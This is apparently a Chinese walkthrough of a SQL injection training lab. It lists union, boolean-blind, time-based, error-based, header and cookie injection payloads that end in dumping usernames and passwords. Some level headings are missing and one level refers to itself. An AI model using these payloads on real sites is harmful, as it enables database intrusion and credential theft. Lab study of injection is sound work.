?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
查看information_schema.columns中有什么column的表名为user
1
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
查看用户名和密码
1
?id=-1 union select 1,2,group_concat(username , id, password) from users
第三关(单引号单括号字符型)
判断是否存在sql注入
1 2
?id=1 ?id=1'
显示
去掉前后两个单引号,剩下’1’’),去掉我们的1’,所以原来是(’1’).所以是单引号字符型
我们只需要?id=1’)–+
判断有多少字段
1
?id=1') order by 4 --+
爆出显示位
1
?id=-1') union select 1,2,3 --+
获取当前数据名和版本号和表明等
1 2 3
?id=-1') union select 1,database(),version() --+ ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+ ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
获取用户名和密码
1
?id=-1') union select 1,2,group_concat(username, ' ', password) from users --+
第四关(双引号单括号字符型)
判断字符型和数字型
1 2 3
?id=1 ?id=1' ?id=1 and 1==2,说明是字符型
全部正常
1
?id=1"
所以是双引号单括号字符型
判断有多少个字段
1
?id=1") order by 3--+
爆信息位
1
?id=-1") union select 1,2,3 --+
查询数据库信息
1 2 3
?id=-1") union select 1,database(),version()--+ ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询用户名、密码
1
?id=-1") union select 1,2,group_concat(username,' ',password) from users --+
?id=1' and ascii(substr((select database()),1,1))=115--+
判断所有表的名字长度
1
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
逐一判断表名
1
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=99--+
判断字段的长度
1
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20--+
逐一判断字段
1
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
判断字段内容长度
1
?id=1' and length((select group_concat(username,password) from users))>109--+
逐一检测内容
1
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))=50--+
?id=1" and ascii(substr((select database()),1,1))=115--+
判断所有表的名字长度
1
?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
逐一判断表名
1
?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=99--+
判断字段的长度
1
?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20--+
逐一判断字段
1
?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
判断字段内容长度
1
?id=1" and length((select group_concat(username,password) from users))>109--+
逐一检测内容
1
?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))=50--+
?id=1' and if(length((select database()))>9,sleep(5),1)--+
逐一判断数据库名
1
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
判断所有表名长度
1
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>133,sleep(5),1)--+
逐一判断表名
1
?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)),sleep(5),1)--+
判断所有字段长度
1
?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
逐一判断字段
1
?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
判断字段内容长度
1
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
逐一判断字段内容
1
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
第十关(全对-时间盲注,双引号字符型)
判断参数构造
1
?id=1" and if(1=1,sleep(3),1)--+
发现页面延迟,所以可知参数构造
剩下的和第九关相同
第十一关(post-两个单页面字符型)
1 2 3
1 没显示 1' 显示如下错误,可推断是一个单页面字符型 1' or 1=1# 这里构造一个恒成立的sql语句
查询有多少个字段
1
1' or 1=1 order by 2#
查询显示位
1
1' union select 1,2# 找一个前半截不成立的,这里的1就没有
查询数据库版本和名称
1
1' union select database(),version()#
查询表名为security的表
1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
查询属于users表的字段
1
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
查询用户名和密码
1
1' union select 1,group_concat(username,' ',password) from users#
第十二关(post-两个双引号单括号字符型)
1 2 3 4
1 正确,没显示 1' 正确 1" 错误,可知注入类型 1") or 1=1# 正确显示
剩下的和第12关相同
1 2 3 4 5 6
1") or 1=1 order by 2# 1") union select 1,2# 1") union select database(),version()# 1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'# 1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 1") union select 1,group_concat(username,' ',password) from users#
第13关(post-两个单引号单括号)
没有任何的返回信息,只有报错信息
1 2 3
1 正确无显示 1' 错误 1') or 1=1#
布尔盲注
1 2 3 4 5
1') or length((select database()))=8# 注意需要用or,因为1')#是错误的 1') or ascii(substr((select database()),1,1))<156# 数据库 1') or length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10# 1') or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>112# 表名 字段、内容、用户名、密码等
username:Dhakkan password:1' and extractvalue(1,concat(0x7e,(select database())))#
爆表名
1 2 3 4 5
username:Dhakkan password:1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))#
或者 password:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),3)#
爆字段名
1 2 3 4 5
username:Dhakkan password:1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))#
或者 password:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3)#
爆内容
1 2
username:Dhakkan password:1' and extractvalue(1,concat(0x5e,(select group_concat(username,' ',password) from users)))#
此处报错
1 2 3 4
username:Dhakkan password: 必须要有这个b 1' and (extractvalue(1,concat(0x7e,(select password from (select password from users where username='admin1') b))))#
第十八关(账户密码都过滤,利用burp报错注入)
账号、密码都被过滤,下面的sql语句中的user-agent没有被过滤
考虑闭合values,构造payload
1
1',2,3)#
存在注入点
构造
1
1',1,(extractvalue(1,concat(0x7e,database()))))#
爆出数据库名
爆表
构造
1
1',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#
爆字段
构造
1
1',1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))))#
爆用户名、密码
构造
1
1',1,extractvalue(1,concat(0x7e,(select group_concat(username,' ',password) from users))))#
第十九关(reference注入)
源码
构造闭合
1
1',extractvalue(1,concat(0x7e,(select group_concat(username,' ',password) from users)))#
第二十关(cookie)
使用burpsuit抓包
没有发现有用的信息,放包看它的刷新页面
cookie中有admin信息,猜测uname字段是sql注入点
转发到repeater,修改
1
cookie:uname=admin'
重发,显示:
说明cookie存在单引号字符型注入漏洞
构造
1
cookie:uname=admin'#
显示正常
获取数据库信息
网页显示了loginname,password,id三个字段,所以猜测有三个字段显示
爆出显示位
1
cookie:uname=' union select 1,2,3#
接下来使用联合注入即可
爆出数据库名
1
cookie:uname=' union select 1,2,database()#
爆表名
1
cookie:uname=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段
1
cookie:uname=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
爆内容
1
cookie:uname=' union select 1,2,group_concat(username,' ',password) from users#